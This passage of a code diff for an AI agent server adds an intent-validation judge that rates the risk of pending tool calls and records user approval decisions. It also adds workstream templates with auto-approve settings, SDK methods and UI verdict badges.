+                            "tool_call_id, provider_data, tool_calls) "
+                            "VALUES (:ws_id, :ts, 'tool_call', NULL, :tn, :ta, :tcid, NULL, NULL)"
+                        ),
+                        tc,
+                    )
+
+        conn.execute(sa.text("DELETE FROM conversations"))
+        conn.execute(
+            sa.text(
+                "INSERT INTO conversations "
+                "(ws_id, timestamp, role, content, tool_name, tool_args, "
+                "tool_call_id, provider_data, tool_calls) "
+                "SELECT ws_id, timestamp, role, content, tool_name, tool_args, "
+                "tool_call_id, provider_data, tool_calls "
+                "FROM _conv_rebuild ORDER BY id"
+            )
+        )
+        conn.execute(sa.text("DROP TABLE _conv_rebuild"))
+
+    with op.batch_alter_table("conversations") as batch_op:
+        batch_op.drop_column("tool_calls")

turnstone/eval.py

@@ -111,6 +111,9 @@ class NullUI:
     def on_rename(self, name: str) -> None:
         pass
 
+    def on_intent_verdict(self, verdict: dict[str, Any]) -> None:
+        pass
+
 
 def _log(msg: str, dim: bool = False) -> None:
     """Print a log line with optional dim styling."""

turnstone/mq/bridge.py

@@ -30,6 +30,7 @@ from turnstone.mq.protocol import (
     HealthResponseEvent,
     InboundMessage,
     InfoEvent,
+    IntentVerdictEvent,
     NodeListEvent,
     OutboundEvent,
     PlanReviewEvent,
@@ -389,6 +390,7 @@ class Bridge:
         resume_ws = getattr(msg, "resume_ws", "")
         user_id = getattr(msg, "user_id", "")
         template = getattr(msg, "template", "")
+        ws_template = getattr(msg, "ws_template", "")
         if user_id:
             log.info("bridge.create_ws user_id=%s name=%s model=%s", user_id, name, model)
         ws_id, resumed = self._create_ws_on_server(
@@ -399,6 +401,7 @@ class Bridge:
             model=model,
             resume_ws=resume_ws,
             template=template,
+            ws_template=ws_template,
         )
         # Send initial_message only when no workstream was actually resumed.
         # Use the server's `resumed` response (not just the intent) so that
@@ -467,6 +470,7 @@ class Bridge:
         model: str = "",
         resume_ws: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> tuple[str, bool]:
         """Create a workstream on the server.  Returns (ws_id, resumed)."""
         try:
@@ -477,6 +481,8 @@ class Bridge:
                 payload["resume_ws"] = resume_ws
             if template:
                 payload["template"] = template
+            if ws_template:
+                payload["ws_template"] = ws_template
             resp = self._http.post(
                 "/v1/api/workstreams/new",
                 json=payload,
@@ -626,6 +632,25 @@ class Bridge:
             self._publish_ws(ws_id, ErrorEvent(ws_id=ws_id, message=data.get("message", "")))
         elif etype == "info":
             self._publish_ws(ws_id, InfoEvent(ws_id=ws_id, message=data.get("message", "")))
+        elif etype == "intent_verdict":
+            self._publish_ws(
+                ws_id,
+                IntentVerdictEvent(
+                    ws_id=ws_id,
+                    call_id=data.get("call_id", ""),
+                    func_name=data.get("func_name", ""),
+                    intent_summary=data.get("intent_summary", ""),
+                    risk_level=data.get("risk_level", ""),
+                    confidence=float(data.get("confidence", 0.0)),
+                    recommendation=data.get("recommendation", ""),
+                    reasoning=data.get("reasoning", ""),
+                    evidence=json.dumps(data.get("evidence", [])),
+                    tier=data.get("tier", ""),
+                    judge_model=data.get("judge_model", ""),
+                    verdict_id=data.get("verdict_id", ""),
+                    latency_ms=int(data.get("latency_ms", 0)),
+                ),
+            )
         elif etype == "stream_end":
             self._publish_ws(ws_id, StreamEndEvent(ws_id=ws_id))
 

turnstone/mq/client.py

@@ -127,6 +127,7 @@ class TurnstoneClient:
         target_node: str = "",
         initial_message: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> str:
         """Create a workstream.  Returns correlation_id."""
         msg = CreateWorkstreamMessage(
@@ -136,6 +137,7 @@ class TurnstoneClient:
             target_node=target_node,
             initial_message=initial_message,
             template=template,
+            ws_template=ws_template,
         )
         self._broker.push_inbound(msg.to_json(), node_id=target_node)
         return msg.correlation_id

turnstone/mq/protocol.py

@@ -98,6 +98,7 @@ class CreateWorkstreamMessage(InboundMessage):
     resume_ws: str = ""
     user_id: str = ""
     template: str = ""
+    ws_template: str = ""
 
 
 @dataclass
@@ -368,6 +369,25 @@ class ClusterStateEvent(OutboundEvent):
     activity_state: str = ""
 
 
+@dataclass
+class IntentVerdictEvent(OutboundEvent):
+    """Intent validation verdict for a pending tool approval."""
+
+    type: str = "intent_verdict"
+    call_id: str = ""
+    func_name: str = ""
+    intent_summary: str = ""
+    risk_level: str = ""
+    confidence: float = 0.0
+    recommendation: str = ""
+    reasoning: str = ""
+    evidence: str = "[]"  # JSON array string
+    tier: str = ""
+    judge_model: str = ""
+    verdict_id: str = ""
+    latency_ms: int = 0
+
+
 # ---------------------------------------------------------------------------
 # Type registries (built after all classes are defined)
 # ---------------------------------------------------------------------------
@@ -422,5 +442,6 @@ _OUTBOUND_REGISTRY: dict[str, type[OutboundEvent]] = {
         NodeListEvent,
         WorkstreamResumedEvent,
         ClusterStateEvent,
+        IntentVerdictEvent,
     ]
 }

turnstone/sdk/console.py

@@ -26,12 +26,15 @@ from turnstone.api.console_schemas import (
     ListRolesResponse,
     ListToolPoliciesResponse,
     ListUserRolesResponse,
+    ListWsTemplatesResponse,
+    ListWsTemplateVersionsResponse,
     NodeDetailResponse,
     OrgInfo,
     PromptTemplateInfo,
     RoleInfo,
     ToolPolicyInfo,
     UsageResponse,
+    WsTemplateInfo,
 )
 from turnstone.api.schemas import (
     AuthLoginResponse,
@@ -127,6 +130,7 @@ class AsyncTurnstoneConsole(_BaseClient):
         model: str = "",
         initial_message: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> ConsoleCreateWsResponse:
         body: dict[str, Any] = {}
         if node_id:
@@ -139,6 +143,8 @@ class AsyncTurnstoneConsole(_BaseClient):
             body["initial_message"] = initial_message
         if template:
             body["template"] = template
+        if ws_template:
+            body["ws_template"] = ws_template
         return await self._request(
             "POST",
             "/v1/api/cluster/workstreams/new",
@@ -465,6 +471,56 @@ class AsyncTurnstoneConsole(_BaseClient):
             response_model=StatusResponse,
         )
 
+    # -- governance: workstream templates ------------------------------------
+
+    async def list_ws_templates(self) -> ListWsTemplatesResponse:
+        """List all workstream templates."""
+        return await self._request(
+            "GET", "/v1/api/admin/ws-templates", response_model=ListWsTemplatesResponse
+        )
+
+    async def create_ws_template(self, name: str, **kwargs: Any) -> WsTemplateInfo:
+        """Create a workstream template."""
+        payload: dict[str, Any] = {"name": name, **kwargs}
+        return await self._request(
+            "POST", "/v1/api/admin/ws-templates", json_body=payload, response_model=WsTemplateInfo
+        )
+
+    async def get_ws_template(self, ws_template_id: str) -> WsTemplateInfo:
+        """Get a workstream template by ID."""
+        return await self._request(
+            "GET",
+            f"/v1/api/admin/ws-templates/{ws_template_id}",
+            response_model=WsTemplateInfo,
+        )
+
+    async def update_ws_template(self, ws_template_id: str, **kwargs: Any) -> WsTemplateInfo:
+        """Update a workstream template."""
+        return await self._request(
+            "PUT",
+            f"/v1/api/admin/ws-templates/{ws_template_id}",
+            json_body=kwargs,
+            response_model=WsTemplateInfo,
+        )
+
+    async def delete_ws_template(self, ws_template_id: str) -> StatusResponse:
+        """Delete a workstream template."""
+        return await self._request(
+            "DELETE",
+            f"/v1/api/admin/ws-templates/{ws_template_id}",
+            response_model=StatusResponse,
+        )
+
+    async def list_ws_template_versions(
+        self, ws_template_id: str
+    ) -> ListWsTemplateVersionsResponse:
+        """List version history for a workstream template."""
+        return await self._request(
+            "GET",
+            f"/v1/api/admin/ws-templates/{ws_template_id}/versions",
+            response_model=ListWsTemplateVersionsResponse,
+        )
+
     # -- governance: usage & audit -------------------------------------------
 
     async def get_usage(
@@ -578,6 +634,7 @@ class TurnstoneConsole:
         model: str = "",
         initial_message: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> ConsoleCreateWsResponse:
         return self._runner.run(
             self._async.create_workstream(
@@ -586,6 +643,7 @@ class TurnstoneConsole:
                 model=model,
                 initial_message=initial_message,
                 template=template,
+                ws_template=ws_template,
             )
         )
 
@@ -783,6 +841,26 @@ class TurnstoneConsole:
     def delete_template(self, template_id: str) -> StatusResponse:
         return self._runner.run(self._async.delete_template(template_id))
 
+    # -- governance: workstream templates ------------------------------------
+
+    def list_ws_templates(self) -> ListWsTemplatesResponse:
+        return self._runner.run(self._async.list_ws_templates())
+
+    def create_ws_template(self, name: str, **kwargs: Any) -> WsTemplateInfo:
+        return self._runner.run(self._async.create_ws_template(name, **kwargs))
+
+    def get_ws_template(self, ws_template_id: str) -> WsTemplateInfo:
+        return self._runner.run(self._async.get_ws_template(ws_template_id))
+
+    def update_ws_template(self, ws_template_id: str, **kwargs: Any) -> WsTemplateInfo:
+        return self._runner.run(self._async.update_ws_template(ws_template_id, **kwargs))
+
+    def delete_ws_template(self, ws_template_id: str) -> StatusResponse:
+        return self._runner.run(self._async.delete_ws_template(ws_template_id))
+
+    def list_ws_template_versions(self, ws_template_id: str) -> ListWsTemplateVersionsResponse:
+        return self._runner.run(self._async.list_ws_template_versions(ws_template_id))
+
     # -- governance: usage & audit -------------------------------------------
 
     def get_usage(

turnstone/sdk/server.py

@@ -78,6 +78,7 @@ class AsyncTurnstoneServer(_BaseClient):
         auto_approve: bool = False,
         resume_ws: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> CreateWorkstreamResponse:
         body: dict[str, Any] = {}
         if name:
@@ -90,6 +91,8 @@ class AsyncTurnstoneServer(_BaseClient):
             body["resume_ws"] = resume_ws
         if template:
             body["template"] = template
+        if ws_template:
+            body["ws_template"] = ws_template
         return await self._request(
             "POST",
             "/v1/api/workstreams/new",
@@ -322,6 +325,7 @@ class TurnstoneServer:
         auto_approve: bool = False,
         resume_ws: str = "",
         template: str = "",
+        ws_template: str = "",
     ) -> CreateWorkstreamResponse:
         return self._runner.run(
             self._async.create_workstream(
@@ -330,6 +334,7 @@ class TurnstoneServer:
                 auto_approve=auto_approve,
                 resume_ws=resume_ws,
                 template=template,
+                ws_template=ws_template,
             )
         )
 

turnstone/server.py

@@ -91,6 +91,7 @@ class WebUI:
         self._plan_event = threading.Event()
         self._plan_result: str = ""
         self.auto_approve = False
+        self.auto_approve_tools: set[str] = set()
         # Per-workstream metrics accumulators (written by worker thread, read by metrics handler)
         self._ws_lock = threading.Lock()
         self._ws_prompt_tokens: int = 0
@@ -102,6 +103,10 @@ class WebUI:
         # Activity tracking for dashboard (current tool / thinking / approval)
         self._ws_current_activity: str = ""
         self._ws_activity_state: str = ""  # "tool" | "approval" | "thinking" | ""
+        # Verdicts awaiting user_decision update on approval resolution
+        self._pending_verdicts: list[dict[str, Any]] = []
+        # Last user decision for late-arriving verdicts (set in resolve_approval)
+        self._last_verdict_decision: str = ""
 
     def _enqueue(self, data: dict[str, Any]) -> None:
         with self._listeners_lock:
@@ -183,22 +188,24 @@ class WebUI:
         self._enqueue({"type": "stream_end"})
 
     def approve_tools(self, items: list[dict[str, Any]]) -> tuple[bool, str | None]:
+        self._last_verdict_decision = ""  # reset for new approval cycle
         pending = [it for it in items if it.get("needs_approval") and not it.get("error")]
 
         # Always send tool info to the browser
         serialized = []
         for item in items:
-            serialized.append(
-                {
-                    "call_id": item.get("call_id", ""),
-                    "header": item.get("header", ""),
-                    "preview": item.get("preview", ""),
-                    "func_name": item.get("func_name", ""),
-                    "approval_label": item.get("approval_label", item.get("func_name", "")),
-                    "needs_approval": item.get("needs_approval", False),
-                    "error": item.get("error"),
-                }
-            )
+            entry: dict[str, Any] = {
+                "call_id": item.get("call_id", ""),
+                "header": item.get("header", ""),
+                "preview": item.get("preview", ""),
+                "func_name": item.get("func_name", ""),
+                "approval_label": item.get("approval_label", item.get("func_name", "")),
+                "needs_approval": item.get("needs_approval", False),
+                "error": item.get("error"),
+            }
+            if "_heuristic_verdict" in item:
+                entry["verdict"] = item["_heuristic_verdict"]
+            serialized.append(entry)
 
         # -- Tool policy evaluation -----------------------------------------------
         # Check admin-defined tool policies before the auto_approve check.
@@ -230,8 +237,9 @@ class WebUI:
                             else:
                                 still_pending.append(it)
                         # Rebuild serialized to reflect policy verdicts
-                        serialized = [
-                            {
+                        serialized = []
+                        for it in items:
+                            rebuilt: dict[str, Any] = {
                                 "call_id": it.get("call_id", ""),
                                 "header": it.get("header", ""),
                                 "preview": it.get("preview", ""),
@@ -240,8 +248,9 @@ class WebUI:
                                 "needs_approval": it.get("needs_approval", False),
                                 "error": it.get("denial_msg") if it.get("denied") else None,
                             }
-                            for it in items
-                        ]
+                            if "_heuristic_verdict" in it:
+                                rebuilt["verdict"] = it["_heuristic_verdict"]
+                            serialized.append(rebuilt)
                         # If all were resolved by policy, check if any were denied
                         if not still_pending:
                             any_denied = any(it.get("denied") for it in items)
@@ -253,7 +262,20 @@ class WebUI:
                 log.debug("Tool policy evaluation failed", exc_info=True)
         # -- End tool policy evaluation -------------------------------------------
 
-        if not pending or self.auto_approve:
+        # Per-tool auto-approve check (server-side, from workstream template)
+        if pending and self.auto_approve_tools:
+            pending_names = {
+                it.get("approval_label", "") or it.get("func_name", "")
+                for it in pending
+                if it.get("func_name")
+            }
+            if pending_names and pending_names.issubset(self.auto_approve_tools):
+                pending = []
+
+        # Budget override requires explicit approval — never auto-approved by
+        # blanket auto_approve (tool policies can still allow it explicitly).
+        has_budget_override = any(it.get("func_name") == "__budget_override__" for it in pending)
+        if not pending or (self.auto_approve and not has_budget_override):
             # Track auto-approved tool activity
             first = items[0] if items else {}
             label = first.get("func_name", "")
@@ -274,9 +296,49 @@ class WebUI:
             self._ws_activity_state = "approval"
         self._broadcast_activity()
 
+        # Persist heuristic verdicts and track for user_decision update
+        self._pending_verdicts = []
+        for item in items:
+            hv = item.get("_heuristic_verdict")
+            if hv:
+                self._pending_verdicts.append(hv)
+                try:
+                    from turnstone.core.storage._registry import get_storage
+
+                    storage = get_storage()
+                    if storage is not None:
+                        storage.create_intent_verdict(
+                            verdict_id=hv.get("verdict_id", ""),
+                            ws_id=self.ws_id,
+                            call_id=hv.get("call_id", ""),
+                            func_name=hv.get("func_name", ""),
+                            func_args=hv.get("func_args", ""),
+                            intent_summary=hv.get("intent_summary", ""),
+                            risk_level=hv.get("risk_level", "medium"),
+                            confidence=hv.get("confidence", 0.5),
+                            recommendation=hv.get("recommendation", "review"),
+                            reasoning=hv.get("reasoning", ""),
+                            evidence=json.dumps(hv.get("evidence", [])),
+                            tier=hv.get("tier", "heuristic"),
+                            judge_model=hv.get("judge_model", ""),
+                            latency_ms=hv.get("latency_ms", 0),
+                        )
+                except Exception:
+                    log.debug("Failed to persist heuristic verdict", exc_info=True)
+                _metrics.record_judge_verdict(
+                    hv.get("tier", "heuristic"),
+                    hv.get("risk_level", "medium"),
+                    hv.get("latency_ms", 0),
+                )
+
         # Send approval request and block
+        judge_pending = bool(any(it.get("_heuristic_verdict") for it in items))
         self._approval_event.clear()
-        self._pending_approval = {"type": "approve_request", "items": serialized}
+        self._pending_approval = {
+            "type": "approve_request",
+            "items": serialized,
+            "judge_pending": judge_pending,
+        }
         self._enqueue(self._pending_approval)
         self._approval_event.wait()
         self._pending_approval = None
@@ -377,6 +439,54 @@ class WebUI:
         if WebUI._global_queue is not None:
             WebUI._global_queue.put({"type": "ws_rename", "ws_id": self.ws_id, "name": name})
 
+    def on_intent_verdict(self, verdict: dict[str, Any]) -> None:
+        """Deliver LLM judge verdict to frontend via SSE."""
+        self._enqueue({"type": "intent_verdict", **verdict})
+        # Persist the LLM verdict (fire-and-forget)
+        try:
+            from turnstone.core.storage._registry import get_storage
+
+            storage = get_storage()
+            if storage is not None:
+                storage.create_intent_verdict(
+                    verdict_id=verdict.get("verdict_id", ""),
+                    ws_id=self.ws_id,
+                    call_id=verdict.get("call_id", ""),
+                    func_name=verdict.get("func_name", ""),
+                    func_args=verdict.get("func_args", ""),
+                    intent_summary=verdict.get("intent_summary", ""),
+                    risk_level=verdict.get("risk_level", "medium"),
+                    confidence=verdict.get("confidence", 0.5),
+                    recommendation=verdict.get("recommendation", "review"),
+                    reasoning=verdict.get("reasoning", ""),
+                    evidence=json.dumps(verdict.get("evidence", [])),
+                    tier=verdict.get("tier", "llm"),
+                    judge_model=verdict.get("judge_model", ""),
+                    latency_ms=verdict.get("latency_ms", 0),
+                )
+        except Exception:
+            log.debug("Failed to persist LLM verdict", exc_info=True)
+        _metrics.record_judge_verdict(
+            verdict.get("tier", "llm"),
+            verdict.get("risk_level", "medium"),
+            verdict.get("latency_ms", 0),
+        )
+        # If approval already resolved, update user_decision immediately
+        decision = self._last_verdict_decision
+        if decision:
+            try:
+                from turnstone.core.storage._registry import get_storage
+
+                storage = get_storage()
+                if storage is not None:
+                    storage.update_intent_verdict(
+                        verdict.get("verdict_id", ""), user_decision=decision
+                    )
+            except Exception:
+                log.debug("Failed to update late verdict user_decision", exc_info=True)
+        else:
+            self._pending_verdicts.append(verdict)
+
     def resolve_approval(self, approved: bool, feedback: str | None = None) -> None:
         """Resolve a pending approval, whether triggered by the HTTP handler
         (user approves/denies in the browser) or by server-initiated flows
@@ -389,6 +499,24 @@ class WebUI:
                 "feedback": feedback or "",
             }
         )
+        # Update user_decision on all tracked verdicts (fire-and-forget).
+        # Swap-and-clear to avoid racing with the daemon judge thread.
+        pending = self._pending_verdicts
+        self._pending_verdicts = []
+        decision_str = "approved" if approved else "denied"
+        self._last_verdict_decision = decision_str
+        if pending:
+            try:
+                from turnstone.core.storage._registry import get_storage
+
+                storage = get_storage()
+                if storage is not None:
+                    for v in pending:
+                        vid = v.get("verdict_id", "")
+                        if vid:
+                            storage.update_intent_verdict(vid, user_decision=decision_str)
+            except Exception:
+                log.debug("Failed to update verdict user_decision", exc_info=True)
         self._approval_event.set()
 
     def resolve_plan(self, feedback: str) -> None:
@@ -410,6 +538,11 @@ def _build_history(
     When ``has_pending_approval`` is True, the last assistant entry's
     tool_calls are marked ``"pending": True`` so the client renders them
     as awaiting approval rather than as already-approved.
+
+    Tool results whose content starts with "Denied by user" are marked
+    ``"denied": True``, and the corresponding assistant entry that
+    issued the tool calls is also marked ``"denied": True`` so the
+    client can render the correct badge.
     """
     history = []
     for msg in session.messages:
@@ -423,7 +556,23 @@ def _build_history(
                 }
                 for tc in msg["tool_calls"]
             ]
+        # Detect denied/blocked tool results by their content prefix.
+        if msg.get("role") == "tool":
+            content = msg.get("content", "")
+            if isinstance(content, str) and (
+                content.startswith("Denied by user") or content.startswith("Blocked")
+            ):
+                entry["denied"] = True
         history.append(entry)
+
+    # Propagate denial from tool results to their parent assistant entry.
+    last_assistant_idx: int | None = None
+    for idx, entry in enumerate(history):
+        if entry.get("tool_calls"):
+            last_assistant_idx = idx
+        elif entry.get("role") == "tool" and entry.get("denied") and last_assistant_idx is not None:
+            history[last_assistant_idx]["denied"] = True
+
     # Mark last assistant tool call as pending if approval is outstanding.
     if has_pending_approval:
         for entry in reversed(history):
@@ -1014,11 +1163,26 @@ async def create_workstream(request: Request) -> JSONResponse:
     auth = getattr(getattr(request, "state", None), "auth_result", None)
     uid: str = getattr(auth, "user_id", "") or ""
     body_template = body.get("template", "")
+    # Resolve workstream template before creation (model override flows through)
+    ws_template_name = body.get("ws_template", "")
+    ws_tpl: dict[str, Any] | None = None
+    if ws_template_name:
+        from turnstone.core.memory import get_ws_template_by_name
+
+        ws_tpl = get_ws_template_by_name(ws_template_name)
+        if not ws_tpl or not ws_tpl.get("enabled"):
+            return JSONResponse(
+                {"error": f"Workstream template not found or disabled: {ws_template_name}"},
+                status_code=400,
+            )
+    resolved_model = body.get("model") or None
+    if ws_tpl and ws_tpl.get("model"):
+        resolved_model = ws_tpl["model"]
     try:
         ws = mgr.create(
             name=body.get("name", ""),
             ui_factory=lambda wid: WebUI(ws_id=wid, user_id=uid),
-            model=body.get("model") or None,
+            model=resolved_model,
         )
         assert isinstance(ws.ui, WebUI)
         if skip or body.get("auto_approve", False):
@@ -1063,7 +1227,11 @@ async def create_workstream(request: Request) -> JSONResponse:
 
         # Per-workstream template override — only when not resumed (resumed
         # workstreams restore their own template from workstream_config).
-        if body_template and not resumed and ws.session:
+        # Skip validation when the ws_template will override the prompt anyway.
+        ws_tpl_overrides_prompt = bool(
+            ws_tpl and (ws_tpl["system_prompt"] or ws_tpl["prompt_template"])
+        )
+        if body_template and not resumed and ws.session and not ws_tpl_overrides_prompt:
             from turnstone.core.memory import get_prompt_template_by_name
 
             if not get_prompt_template_by_name(body_template):
@@ -1074,6 +1242,61 @@ async def create_workstream(request: Request) -> JSONResponse:
                 )
             ws.session.set_template(body_template)
 
+        # Apply workstream template settings (only for new workstreams)
+        if ws_tpl and not resumed and ws.session:
+            sess = ws.session
+            # System prompt: inline takes precedence over prompt_template ref
+            if ws_tpl["system_prompt"]:
+                sess._template_content = ws_tpl["system_prompt"]
+                sess._template_name = None
+                sess._ws_template_system_prompt = ws_tpl["system_prompt"]
+                sess._init_system_messages()
+            elif ws_tpl["prompt_template"]:
+                sess.set_template(ws_tpl["prompt_template"])
+                # Check for prompt template content drift
+                if ws_tpl.get("prompt_template_hash"):
+                    import hashlib
+
+                    from turnstone.core.memory import get_prompt_template_by_name
+
+                    pt = get_prompt_template_by_name(ws_tpl["prompt_template"])
+                    if pt:
+                        current_hash = hashlib.sha256(pt.get("content", "").encode()).hexdigest()
+                        if current_hash != ws_tpl["prompt_template_hash"]:
+                            log.warning(
+                                "Prompt template '%s' content has changed since "
+                                "WS template '%s' was last updated",
+                                ws_tpl["prompt_template"],
+                                ws_tpl["name"],
+                            )
+            # Session settings
+            if ws_tpl.get("temperature") is not None:
+                sess.temperature = ws_tpl["temperature"]
+            if ws_tpl["reasoning_effort"]:
+                sess.reasoning_effort = ws_tpl["reasoning_effort"]
+            if ws_tpl.get("max_tokens") is not None:
+                sess.max_tokens = ws_tpl["max_tokens"]
+            if ws_tpl["token_budget"] > 0:
+                sess._token_budget = ws_tpl["token_budget"]
+            if ws_tpl.get("agent_max_turns") is not None:
+                sess.agent_max_turns = ws_tpl["agent_max_turns"]
+            # Approval policy
+            if ws_tpl["auto_approve"]:
+                ws.ui.auto_approve = True
+            if ws_tpl["auto_approve_tools"]:
+                ws.ui.auto_approve_tools = {
+                    t.strip() for t in ws_tpl["auto_approve_tools"].split(",") if t.strip()
+                }
+            # Metadata
+            sess._notify_on_complete = ws_tpl.get("notify_on_complete", "{}")
+            sess._ws_template_id = ws_tpl["ws_template_id"]
+            sess._ws_template_version = ws_tpl["version"]
+            sess._save_config()
+            # Persist template lineage on the workstreams row
+            from turnstone.core.memory import update_workstream_template
+
+            update_workstream_template(ws.id, ws_tpl["ws_template_id"], ws_tpl["version"])
+
         return JSONResponse(
             {
                 "ws_id": ws.id,
@@ -1294,6 +1517,7 @@ def create_app(
     node_id: str = "",
     cors_origins: list[str] | None = None,
     watch_runner: Any = None,
+    judge_config: Any = None,
 ) -> Starlette:
     """Create and configure the Starlette ASGI application."""
     _spec = build_server_spec()
@@ -1351,6 +1575,7 @@ def create_app(
     app.state.idle_timeout = idle_timeout
     app.state.node_id = node_id
     app.state.watch_runner = watch_runner
+    app.state.judge_config = judge_config
 
     from turnstone.core.auth import LoginRateLimiter
 
@@ -1583,6 +1808,46 @@ def main() -> None:
         default=60.0,
         help="Circuit breaker cooldown in seconds (default: 60)",
     )
+    judge_group = parser.add_argument_group("Judge options")
+    judge_group.add_argument(
+        "--judge",
+        dest="judge_enabled",
+        action="store_true",
+        default=True,
+        help="Enable intent validation judge for tool approvals (default)",
+    )
+    judge_group.add_argument(
+        "--no-judge",
+        dest="judge_enabled",
+        action="store_false",
+        help="Disable intent validation judge",
+    )
+    judge_group.add_argument(
+        "--judge-model",
+        dest="judge_model",
+        default="",
+        help="Model for judge (default: same as session model)",
+    )
+    judge_group.add_argument(
+        "--judge-provider",
+        dest="judge_provider",
+        default="",
+        help="Provider for judge (default: same as session provider)",
+    )
+    judge_group.add_argument(
+        "--judge-timeout",
+        dest="judge_timeout",
+        type=float,
+        default=60.0,
+        help="LLM judge timeout in seconds (default: 60)",
+    )
+    judge_group.add_argument(
+        "--judge-confidence",
+        dest="judge_confidence",
+        type=float,
+        default=0.7,
+        help="Confidence threshold for judge (default: 0.7)",
+    )
     from turnstone.core.log import add_log_args
 
     add_log_args(parser)
@@ -1590,7 +1855,18 @@ def main() -> None:
 
     apply_config(
         parser,
-        ["api", "model", "session", "tools", "server", "mcp", "ratelimit", "health", "database"],
+        [
+            "api",
+            "model",
+            "session",
+            "tools",
+            "server",
+            "mcp",
+            "ratelimit",
+            "health",
+            "database",
+            "judge",
+        ],
     )
     args = parser.parse_args()
 
@@ -1708,6 +1984,27 @@ def main() -> None:
 
     ctx_node_id.set(_node_id)
 
+    # Intent validation judge config
+    from turnstone.core.judge import JudgeConfig
+
+    judge_config = JudgeConfig(
+        enabled=getattr(args, "judge_enabled", True),
+        model=getattr(args, "judge_model", ""),
+        provider=getattr(args, "judge_provider", ""),
+        base_url=getattr(args, "judge_base_url", ""),
+        api_key=getattr(args, "judge_api_key", ""),
+        confidence_threshold=getattr(args, "judge_confidence", 0.7),
+        max_context_ratio=getattr(args, "judge_context_ratio", 0.5),
+        timeout=getattr(args, "judge_timeout", 60.0),
+        read_only_tools=getattr(args, "judge_read_only_tools", True),
+    )
+    if judge_config.enabled:
+        log.info(
+            "Judge: enabled (model=%s, threshold=%.2f)",
+            judge_config.model or model,
+            judge_config.confidence_threshold,
+        )
+
     # Session factory — captures shared config
     def session_factory(
         ui: SessionUI | None,
@@ -1740,6 +2037,7 @@ def main() -> None:
             tool_search_threshold=args.tool_search_threshold,
             tool_search_max_results=args.tool_search_max_results,
             template=args.template,
+            judge_config=judge_config,
         )
 
     # Create WatchRunner (periodic command polling, server-level)
@@ -1808,8 +2106,9 @@ def main() -> None:
             sys.exit(1)
         log.info("Resumed workstream %s (%d messages)", target_id, len(ws.session.messages))
 
-    # Record detected model in metrics
+    # Record detected model and judge status in metrics
     _metrics.model = model
+    _metrics.set_judge_enabled(judge_config.enabled if judge_config else False)
 
     # Auth config
     from turnstone.core.auth import load_auth_config, load_jwt_secret
@@ -1842,6 +2141,7 @@ def main() -> None:
         node_id=_node_id,
         cors_origins=cors_origins,
         watch_runner=_watch_runner,
+        judge_config=judge_config,
     )
 
     log.info("Server starting on http://%s:%s", args.host, args.port)

turnstone/ui/static/app.js

@@ -1088,7 +1088,11 @@ function handleEvent(evt) {
       break;
 
     case "approve_request":
-      showInlineToolBlock(evt.items, false);
+      showInlineToolBlock(evt.items, false, evt.judge_pending);
+      break;
+
+    case "intent_verdict":
+      updateVerdictBadge(evt);
       break;
 
     case "approval_resolved":
@@ -1205,8 +1209,10 @@ function replayHistory(messages) {
           // will create the live approval UI.
           lastToolBlock = null;
         } else {
+          var wasDenied = !!msg.denied;
           var block = document.createElement("div");
-          block.className = "msg approval-block approved";
+          block.className =
+            "msg approval-block " + (wasDenied ? "denied" : "approved");
           msg.tool_calls.forEach(function (tc) {
             var div = document.createElement("div");
             div.className = "approval-tool";
@@ -1235,8 +1241,14 @@ function replayHistory(messages) {
             block.appendChild(div);
           });
           var badge = document.createElement("div");
-          badge.className = "approval-badge badge-approved";
-          badge.textContent = "\u2713 approved";
+          badge.setAttribute("role", "status");
+          if (wasDenied) {
+            badge.className = "approval-badge badge-denied";
+            badge.textContent = "\u2717 denied";
+          } else {
+            badge.className = "approval-badge badge-approved";
+            badge.textContent = "\u2713 approved";
+          }
           block.appendChild(badge);
           messagesEl.appendChild(block);
           lastToolBlock = block;
@@ -1252,7 +1264,12 @@ function replayHistory(messages) {
     } else if (msg.role === "tool") {
       if (lastToolBlock) {
         var stripped = stripAnsi(msg.content || "").trim();
-        if (stripped) {
+        // Skip displaying denied/blocked messages as tool output
+        var isDenied =
+          msg.denied ||
+          /^Denied by user/.test(stripped) ||
+          /^Blocked/.test(stripped);
+        if (stripped && !isDenied) {
           var out = document.createElement("div");
           out.className = "tool-output";
           out.textContent = stripped;
@@ -1353,7 +1370,151 @@ function getFeedback() {
   return inp && inp.value.trim() ? inp.value.trim() : null;
 }
 
-function showInlineToolBlock(items, autoApproved) {
+// --- Verdict badge helpers ---
+
+function renderVerdictBadge(verdict, judgePending) {
+  if (!verdict) return "";
+  var risk = verdict.risk_level || "medium";
+  var rec = verdict.recommendation || "review";
+  var conf = Math.round((verdict.confidence || 0) * 100);
+  var summary = verdict.intent_summary || "";
+  var spinnerHtml = "";
+  if (judgePending) {
+    spinnerHtml =
+      '<span class="verdict-judge-spinner">' +
+      '<span class="judge-spinner-dot"></span> judge analyzing\u2026</span>';
+  }
+  var callId = escapeHtml(verdict.call_id || "");
+  return (
+    '<div class="verdict-badge verdict-' +
+    escapeHtml(risk) +
+    '" data-call-id="' +
+    callId +
+    '">' +
+    '<span class="verdict-risk">' +
+    escapeHtml(risk.toUpperCase()) +
+    "</span>" +
+    '<span class="verdict-rec">' +
+    escapeHtml(rec) +
+    "</span>" +
+    '<span class="verdict-conf">' +
+    conf +
+    "%</span>" +
+    spinnerHtml +
+    '<button class="verdict-expand" onclick="toggleVerdictDetail(this)">details</button>' +
+    "</div>" +
+    '<div class="verdict-detail" style="display:none">' +
+    '<div class="verdict-summary">' +
+    escapeHtml(summary) +
+    "</div>" +
+    '<div class="verdict-reasoning">' +
+    escapeHtml(verdict.reasoning || "") +
+    "</div>" +
+    ((verdict.evidence || []).length
+      ? '<div class="verdict-evidence">' +
+        (verdict.evidence || [])
+          .map(function (e) {
+            return "<div>\u2022 " + escapeHtml(e) + "</div>";
+          })
+          .join("") +
+        "</div>"
+      : "") +
+    '<div class="verdict-tier">' +
+    escapeHtml(verdict.tier || "heuristic") +
+    " tier" +
+    (verdict.judge_model ? " | " + escapeHtml(verdict.judge_model) : "") +
+    "</div>" +
+    "</div>"
+  );
+}
+
+function toggleVerdictDetail(btn) {
+  var badge = btn.closest(".verdict-badge");
+  var detail = badge ? badge.nextElementSibling : null;
+  if (detail && detail.classList.contains("verdict-detail")) {
